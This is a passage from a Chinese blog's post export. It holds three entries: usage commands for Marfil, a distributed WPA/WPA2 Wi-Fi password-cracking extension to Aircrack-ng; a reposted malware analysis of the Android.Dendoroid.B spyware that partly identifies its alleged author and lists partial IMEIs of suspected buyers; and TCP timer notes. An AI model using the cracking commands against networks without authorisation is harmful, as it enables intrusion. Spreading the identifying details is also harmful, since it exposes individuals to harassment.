.cap 文件。这可以通过 Web 服务器接口 或 在任何节点的 Marfil 目录中，执行以下命令来完成请求：\nphp artisan marfil:crack 你的服务器IP地址:8080 path/to/file.cap 01:23:45:67:89:AB 2.任何成功发出的破解请求，都会显示在 Web 服务器界面中。\n3.任何节点都可以被当成一个工作客户端。为了这样做，只需在 Marfil 目录中，运行以下命令：\nphp artisan marfil：work 你的服务器IP地址：8080 此命令将会使客户端每 60 秒发出一次请求。当服务器发出响应后，客户端将会下载所需要的破解文件，并以此来破解 .cap 文件。\n4.我们可以通过 Web 界面查看到实时的破解进度。\nMarfil 下载地址： https://github.com/pupi1985/marfil\n","permalink":"https://www.lucien116.com/archives/225/","summary":"\u003cp\u003e\u003cstrong\u003eMarfil 是 Aircrack-ng 套件的一个扩展工具，被用于 WiFi 网络安全的评估测试。利用它，我们可以实现在多台计算机之间，进行分布式的爆破任务。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e我们都知道 Aircrack-ng 套件，为我们提供了许多用于无线破解的工具。其中 aircrack-ng 工具，就是一个专门用于 802.11 WEP 和 WPA / WPA2-PSK 密钥破解的程序。由于无线的保护力度不断加大，现在市面上大多数无线都采用 WPA / WPA2-PSK 的方式进行加密 。因此我们想要破解密码，则必须使用字典或单词列表。这些字典越大，则我们所需的破解时间就越长。这还得看你的硬件配置如何，如果配置较低，破解任务可能需要几天或几个星期不等。或许此时你的旁边有一些额外的硬件设备，原本可以帮你共同来完成任务。但你无法使用 aircrack-ng 让他们之间实现分布式破解。那么你只能选择其中一个速度较快的设备，而白白浪费了另外的破解资源。Marfil 就是为了解决这个困扰，而被开发出来的。\u003c/p\u003e\n\u003cp\u003eMarfil 是一个基于 php 语言开发的工具，它能在不同节点之间实现分布式破解。它的实现原理也非常简单：将原本非常大的字典进行拆分，并将其分布在其余节点上。而不是像原本那样，只使用一个节点来破解单个 .cap 文件。过程如下：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.在服务器节点中配置使用字典。\u003c/p\u003e\n\u003cp\u003e2.客户端节点向服务器发送破解请求。（包括.cap文件和目标网络的 BSSID）\u003c/p\u003e\n\u003cp\u003e3.客户端请求服务器开始工作。\u003c/p\u003e\n\u003cp\u003e4.开始工作后，服务器向客户端响应 .cap 文件 和 BSSID 以及字典片段。\u003c/p\u003e\n\u003cp\u003e5.客户端自行执行破解，并在完成后返回结果。\u003c/p\u003e\n\u003cp\u003e6.服务器根据结果更新破解请求状态。\u003c/p\u003e\n\u003cp\u003e7.最终，.cap 文件将针所有未成功，或找到密码部分的字典进行处理。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"aircrack-ng-扩展要求\"\u003e\u003cstrong\u003eAircrack-ng 扩展要求\u003c/strong\u003e\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.aircrack-ng 套件\u003c/p\u003e\n\u003cp\u003e2.PHP \u0026gt;= 5.5.9\u003c/p\u003e\n\u003cp\u003e3.PHP5 SQLite 模块（ \u003cstrong\u003e只有服务器端需要\u003c/strong\u003e）\u003c/p\u003e\n\u003cp\u003e4.Composer （ \u003cstrong\u003e依赖管理工具，需要时可安装\u003c/strong\u003e）\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eMarfil 目前仅在 Linux 系统上进行了测试。但它的使用方式及工具，都是相对独立于平台的。因此，它也应该能在 Windows 或 Mac上工作。\u003c/p\u003e\n\u003ch2 id=\"aircrack-ng-扩展-marfil-设置\"\u003eAircrack-ng 扩展: Marfil 设置\u003c/h2\u003e\n\u003ch3 id=\"初始设置和字典配置\"\u003e\u003cstrong\u003e初始设置和字典配置\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e1.下载最新的发行版 Marfil 文件。\u003c/p\u003e","title":"Aircrack-ng 扩展 : Marfil"},{"content":"近期，360团队截获了一款功能强大的专业间谍软件，它可以通过PC端远程控制中招用户的手机，控制指令高达二十多种，窃取用户手机通讯录，短信，照片及其它重要隐私数据。这个远控木马与去年知名的Android.Dendoroid木马家族手段非常相似，所以我们将其命名为Android.Dendoroid.B。 一、木马Android受控端恶意行为分析 1.释放文件，隐藏图标，启动恶意服务\nAndroid.Dendoroid.B启动后会根据系统版本释放自身Assets目录下的testv7或testv5文件到/data/data/{packagename}目录下重命名为test；申请Root权限，释放su后门文件ssu到/system/bin目录下。隐藏自身图标，运行test文件：\ntest为ELF文件，主要功能为通过命令行的方式启动恶意服务WorkServer：\n2.频繁结束安全软件进程\n我们发现该木马在各处重要的恶意行为节点上频繁地结束国内主流安全软件进程，破坏安全软件正常运行，木马的自我保护给用户手机带来更大安全风险：\n能够结束以下安全软件：\n3.通话过程中自动录音 通过监控电话状态改变，来实现通话录音，每当被控手机来电时，木马会自动开启录音功能，并保存录音文件： 4.通过联网获取指令的方式实现远程控制\n通过向中招手机发送不同的指令，以达到相应的行为控制。指令名称、功能及向PC端返回的响应如下表：\n5.暂未实现的其它功能\n木马受控端除了以上这些功能，我们还在代码中发现了解密微信聊天记录的部分代码，以及通过短信指令远程控制的代码，但该部分代码未被调用：\n二、FTP服务器分析\n从上面的指令列表中，可以发现隐私数据大部分都被上传到了病毒作者的FTP服务器，地址为121.199.2*.***，用户名和密码为root，登录进去后，FTP中的文件列表如下：\n在服务器中我们发现并梳理了以下几个重要的文件，其中一些文件是已经从用被监控手机中实际上传的用户隐私：\n其中bf.zip中是一个工程名为“SimpleServer”的Java代码，我们通过分析这个工程代码发现其主要功能是为了解析PC主控端与手机APK受控端之间的通信，关系如图：\n解析Android受控端发送的指令的代码：\n解析PC主控端发送指令的代码：\n另一个文件“muma.rar”以“木马”拼音命名不得不引起我们的关注，我们发现这个里面有大量.php文件并且发现了下面这个图片，由此可以看出这正是去年我们播报过的Android.Dendoroid的源码，这也是我们将该木马命名为Android.Dendoroid.B的另一个原因。\n三、木马PC主控端分析\nFTP上的PE文件MySocketServer.exe是木马Android.Dendoroid.B的主控端，主控端用于发送远控指令和接收受控端返回的隐私信息。\n我们在实际验证中点击了联系人按钮，很快返回了中招用户手机中的联系人列表：\n另外，我们还在该软件上发现了一个网址 http://www.yunkong8.com/ ，该网址显示是一个专业的监控类软件售卖的网站，软件功能页面中介绍可以用手机或者使用其他电脑浏览网页来远控指定的PC客户端，网站中没有提到可以通过PC端远控手机端，我们猜测这有可能是未公开的软件功能或是定制版本。\n四、感染用户 根据360互联网安全中心数据显示，最近两个月里有若干用户感染了该木马，地区包括：蚌埠、荆州、武汉、海口。 五、关于病毒作者\n从受控端样本代码中发现，我们还在一个未调用的Mail类中，发现了一个QQ邮箱：84777****@qq.com，该类无任何调用，通过360全量样本的大数据的计算回查，发现该QQ邮箱曾用在了多个恶意样本中，而这些样本具有相同的Mail类并能够被正常调用。因此可以得出，该木马是经过了不断演变进化的，历史上曾经使用邮件的方式窃取用户隐私，而当前已经演变成使用FTP窃取回传隐私，回传的内容更加丰富，方式更加隐蔽\n针对此qq号我们进行了追寻，发现是来自四川泸州昵称为“老A”的程序员。\n通过进一步追踪，定位到了“老A”的具体信息：\n杨**（常用昵称：lzyyf，老A）\n2010级泸州二中\n2013年9月至2017年9月，就读韩国蔚山大学\n曾经使用另一QQ号：139*******，并曾经于2014年初在多个论坛中扩散类似木马\n在他的微博中也多次发布木马信息：\n通过360后台云查信息等大数据分析，我们发现还有其他的一些人员也与木马有关，猜测可能是买马人。\n手机串号 所在地\n35291106045**** 中国 东北 黑龙江省 哈尔滨市\n35713905461**** 中国 华南 广东省 深圳市\n35260505594**** 中国 华东 江西省 南昌市\n六、总结 从Android.Dendoroid.B木马家族可以看出，这种伪装成系统应用的远控类隐私窃取木马家族，不是依靠第三方市场传播而是通过网站售卖或地下黑产交易，然后被不法人员植入到指定的监控对象中，它具备单点传播，感染特定对象，潜伏时间长，造成单点损失大等特点。建议用户提高个人隐私保护意识，同时安装安全软件定期扫描检查软件安全性。 我们将继续紧密关注这类木马家族的发展并提供安全保护方案。\n转载自：http://www.freebuf.com/articles/terminal/65611.html 作者：360手机卫士\n","permalink":"https://www.lucien116.com/archives/224/","summary":"\u003cp\u003e\u003cstrong\u003e近期，360团队截获了一款功能强大的专业间谍软件，它可以通过PC端远程控制中招用户的手机，控制指令高达二十多种，窃取用户手机通讯录，短信，照片及其它重要隐私数据。这个远控木马与去年知名的Android.Dendoroid木马家族手段非常相似，所以我们将其命名为Android.Dendoroid.B。\u003c/strong\u003e \u003cstrong\u003e一、木马Android受控端恶意行为分析\u003c/strong\u003e \u003cstrong\u003e1.释放文件，隐藏图标，启动恶意服务\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eAndroid.Dendoroid.B启动后会根据系统版本释放自身Assets目录下的testv7或testv5文件到/data/data/{packagename}目录下重命名为test；申请Root权限，释放su后门文件ssu到/system/bin目录下。隐藏自身图标，运行test文件：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298462692.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003etest为ELF文件，主要功能为通过命令行的方式启动恶意服务WorkServer：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298474131446.jpg!small\"\u003e\u003c/a\u003e\u003cstrong\u003e2.频繁结束安全软件进程\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e我们发现该木马在各处重要的恶意行为节点上频繁地结束国内主流安全软件进程，破坏安全软件正常运行，木马的自我保护给用户手机带来更大安全风险：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298481332835.jpg!small\"\u003e\u003c/a\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298481337071.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e能够结束以下安全软件：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298481879487.jpg!small\"\u003e\u003c/a\u003e\u003cstrong\u003e3.通话过程中自动录音\u003c/strong\u003e \u003cstrong\u003e通过监控电话状态改变，来实现通话录音，每当被控手机来电时，木马会自动开启录音功能，并保存录音文件：\u003c/strong\u003e \u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/1429848223154.jpg!small\"\u003e\u003c/a\u003e \u003cstrong\u003e4.通过联网获取指令的方式实现远程控制\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e通过向中招手机发送不同的指令，以达到相应的行为控制。指令名称、功能及向PC端返回的响应如下表：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298482559252.jpg!small\"\u003e\u003c/a\u003e\u003cstrong\u003e5.暂未实现的其它功能\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e木马受控端除了以上这些功能，我们还在代码中发现了解密微信聊天记录的部分代码，以及通过短信指令远程控制的代码，但该部分代码未被调用：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298482884676.jpg!small\"\u003e\u003c/a\u003e\u003cstrong\u003e二、FTP服务器分析\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e从上面的指令列表中，可以发现隐私数据大部分都被上传到了病毒作者的FTP服务器，地址为121.199.2*.***，用户名和密码为root，登录进去后，FTP中的文件列表如下：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298483355110.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在服务器中我们发现并梳理了以下几个重要的文件，其中一些文件是已经从用被监控手机中实际上传的用户隐私：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298483581550.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e其中bf.zip中是一个工程名为“SimpleServer”的Java代码，我们通过分析这个工程代码发现其主要功能是为了解析PC主控端与手机APK受控端之间的通信，关系如图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298483813586.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e解析Android受控端发送的指令的代码：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298484099131.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e解析PC主控端发送指令的代码：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298484394272.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e另一个文件“muma.rar”以“木马”拼音命名不得不引起我们的关注，我们发现这个里面有大量.php文件并且发现了下面这个图片，由此可以看出这正是去年我们播报过的Android.Dendoroid的源码，这也是我们将该木马命名为Android.Dendoroid.B的另一个原因。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298485747471.jpg!small\"\u003e\u003c/a\u003e\u003cstrong\u003e三、木马PC主控端分析\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eFTP上的PE文件MySocketServer.exe是木马Android.Dendoroid.B的主控端，主控端用于发送远控指令和接收受控端返回的隐私信息。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298486395200.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e我们在实际验证中点击了联系人按钮，很快返回了中招用户手机中的联系人列表：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298486646481.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e另外，我们还在该软件上发现了一个网址 \u003ca href=\"http://www.yunkong8.com/\"\u003ehttp://www.yunkong8.com/\u003c/a\u003e ，该网址显示是一个专业的监控类软件售卖的网站，软件功能页面中介绍可以用手机或者使用其他电脑浏览网页来远控指定的PC客户端，网站中没有提到可以通过PC端远控手机端，我们猜测这有可能是未公开的软件功能或是定制版本。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298487097327.jpg!small\"\u003e\u003c/a\u003e\u003cstrong\u003e四、感染用户\u003c/strong\u003e \u003cstrong\u003e根据360互联网安全中心数据显示，最近两个月里有若干用户感染了该木马，地区包括：蚌埠、荆州、武汉、海口。\u003c/strong\u003e \u003cstrong\u003e五、关于病毒作者\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e从受控端样本代码中发现，我们还在一个未调用的Mail类中，发现了一个QQ邮箱：84777****@qq.com，该类无任何调用，通过360全量样本的大数据的计算回查，发现该QQ邮箱曾用在了多个恶意样本中，而这些样本具有相同的Mail类并能够被正常调用。因此可以得出，该木马是经过了不断演变进化的，历史上曾经使用邮件的方式窃取用户隐私，而当前已经演变成使用FTP窃取回传隐私，回传的内容更加丰富，方式更加隐蔽\u003c/p\u003e\n\u003cp\u003e针对此qq号我们进行了追寻，发现是来自四川泸州昵称为“老A”的程序员。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298487753648.jpg!small\"\u003e\u003c/a\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298487768314.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e通过进一步追踪，定位到了“老A”的具体信息：\u003c/p\u003e\n\u003cp\u003e杨**（常用昵称：lzyyf，老A）\u003c/p\u003e\n\u003cp\u003e2010级泸州二中\u003c/p\u003e\n\u003cp\u003e2013年9月至2017年9月，就读韩国蔚山大学\u003c/p\u003e\n\u003cp\u003e曾经使用另一QQ号：139*******，并曾经于2014年初在多个论坛中扩散类似木马\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298488752055.jpg!small\"\u003e\u003c/a\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298488766117.jpg!small\"\u003e\u003c/a\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298488785459.jpg!small\"\u003e\u003c/a\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298488811690.jpg!small\"\u003e\u003c/a\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298488811135.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在他的微博中也多次发布木马信息：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/\" title=\"远控木马Dendoroid.B分析报告\"\u003e\u003cimg alt=\"远控木马Dendoroid.B分析报告\" loading=\"lazy\" src=\"http://image.3001.net/images/20150424/14298489355175.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e通过360后台云查信息等大数据分析，我们发现还有其他的一些人员也与木马有关，猜测可能是买马人。\u003c/p\u003e\n\u003cp\u003e手机串号              所在地\u003c/p\u003e\n\u003cp\u003e35291106045****    中国 东北 黑龙江省 哈尔滨市\u003c/p\u003e\n\u003cp\u003e35713905461****     中国 华南 广东省 深圳市\u003c/p\u003e\n\u003cp\u003e35260505594****     中国 华东 江西省 南昌市\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e六、总结\u003c/strong\u003e \u003cstrong\u003e从Android.Dendoroid.B木马家族可以看出，这种伪装成系统应用的远控类隐私窃取木马家族，不是依靠第三方市场传播而是通过网站售卖或地下黑产交易，然后被不法人员植入到指定的监控对象中，它具备单点传播，感染特定对象，潜伏时间长，造成单点损失大等特点。建议用户提高个人隐私保护意识，同时安装安全软件定期扫描检查软件安全性。\u003c/strong\u003e \u003cstrong\u003e我们将继续紧密关注这类木马家族的发展并提供安全保护方案。\u003c/strong\u003e\u003c/p\u003e","title":"远控木马Dendoroid.B分析报告"},{"content":"一：介绍 1： 与数据链路层的ARQ协议相类似，TCP使用超时重发的重传机制。 即：TCP每发送一个报文段，就对此报文段设置一个超时重传计时器。 此计时器设置的超时重传时间RTO（Retransmission Time－Out）应当略大于TCP报文段的平均往返时延RTT，一般可取RTO＝2RTT。 但是，也可以根据具体情况人为调整RTO的值，例如可以设置此超时重传时间RTO＝90秒。 当超过了规定的超时重传时间还未收到对此TCP报文段的预期确认信息，则必须重新传输此TCP报文段。\n二：四种定时器 1： 重传计时器（retransmission timer）：当TCP发送报文段时，就创建该特定报文段的重传计时器。可能发生两种情况： A： 若在计时器截止时间到（通常是60秒）之前收到了对此特定报文段的确认，则撤销此计时器。 B： 若在收到了对此特定报文段的确认之前计时器截止期到，则重传此报文段，并将计时器复位。 2： 坚持计时器（persist timer ） ：为了对付零窗口大小通知，TCP需要另一个计时器。 假定接收TCP宣布了窗口大小为零。发送TCP就停止传送报文段，直到接收TCP发送确认并宣布一个非零的窗口大小。但这个确认可能会丢失。 我们知道在TCP中，对确认是不需要发送确认的。若确认丢失了，接收TCP并不知道，而是会认为它已经完成任务了，并等待着发送TCP接着会发送更多的报文段。但发送TCP由于没有收到确认，就等待对方发送确认来通知窗口的大小。双方的TCP都在永远地等待着对方。 要打开这种死锁，TCP为每一个连接使用一个坚持计时器。当发送TCP收到一个窗口大小为零的确认时，就启动坚持计时器。当坚持计时器期限到时，发送TCP就发送一个特殊的报文段，叫做探测报文段。这个报文段只有一个字节的数据。它有一个序号，但它的序号永远不需要确认；甚至在计算对其他部分的数据的确认时该序号也被忽略。探测报文段提醒对端：确认已丢失，必须重传。 坚持计时器的值设置为重传时间的数值。但是，若没有收到从接收端来的响应，则需发送另一个探测报文段，并将坚持计时器的值加倍和复位。发送端继续发送探测报文段，将坚持计时器设定的值加倍和复位，直到这个值增大到门限值（通常是60秒）为止。在这以后，发送端每隔60秒就发送一个探测报文段，直到窗口重新打开。 3： 保活计时器（keepalive timer ） ：保活计时器使用在某些实现中，用来防止在两个TCP之间的连接出现长时期的空闲。 假定客户打开了到服务器的连接，传送了一些数据，然后就保持静默了。也许这个客户出故障了。在这种情况下，这个连接将永远地处理打开状态。 要解决这种问题，在大多数的实现中都是使服务器设置保活计时器。每当服务器收到客户的信息，就将计时器复位。 保活计时器通常设置为2小时。若服务器过了2小时还没有收到客户的信息，它就发送探测报文段。 若发送了10个探测报文段（每一个相隔75秒）还没有响应，就假定客户出了故障，因而就终止该连接。 4： 时间等待计时器（2MSL timer ）：时间等待计时器是在连接终止期间使用的。 当TCP关闭一个连接时，它并不认为这个连接马上就真正地关闭了。 在时间等待期间中，连接还处于一种中间过渡状态。 这就可以使重复的FIN报文段（如果有的话）可以到达目的站因而可将其丢弃。 这个计时器的值通常设置为一个报文段的寿命期待值的两倍。\n三：拥塞控制用到的术语 数据段：一个数据段就是任意的TCP/IP数据或确认包（或两者兼备）。 发送端最 大数据 段尺寸（SMSS）:SMSS是发送端能发送的最大数据段的尺寸。这个值是以网络最大传送单元（MTU），MTU路径发现 算法，RMSS(见下一项)，或其它因素为基础的。该尺寸不包括TCP/IP头和选项。 接收端最大数据段尺寸（RMSS）:RMSS是接收端愿意接收的最大数据段的尺寸。这个值在连接开始时接收端发送的MSS选项中说明。又或者，如果MSS选项没有使用，就是536字节[Bra89].该尺寸不包括TCP/IP头和选项。 满尺寸数据段：一个包括允许最大数目数据的数据段（也就是说，一个包括SMSS字节数据的数据段）。 接收端窗口（rwnd）：最近通知的接收端窗口。 拥塞窗口（cwnd）：一个TCP状态参量，代表着一个TCP允许发送的最大数据量。在任意 一个给定的时刻，TCP不会发送序号大于最大确认序号和cwnd、rwnd中较小者的数据。 初始窗口（iw）：初始窗口是三次握手完成后发送端的拥塞窗口的尺寸。 丢失窗口（lw）：丢失窗口是在一个TCP根据它的重传定时器检测到了数据丢失之后，拥塞窗口的尺寸。 重启窗口（rw）：重启窗口是TCP在一段闲置期之后重新开始传送后拥塞窗口的尺寸（如果使用慢启动算法；参见4.1节以获取更多的讨论）。 传送尺寸：已经被发送但还没有确认的数据的总量。\n","permalink":"https://www.lucien116.com/archives/221/","summary":"\u003cp\u003e一：介绍\n1： 与数据链路层的ARQ协议相类似，TCP使用超时重发的重传机制。\n即：TCP每发送一个报文段，就对此报文段设置一个超时重传计时器。\n此计时器设置的超时重传时间RTO（Retransmission 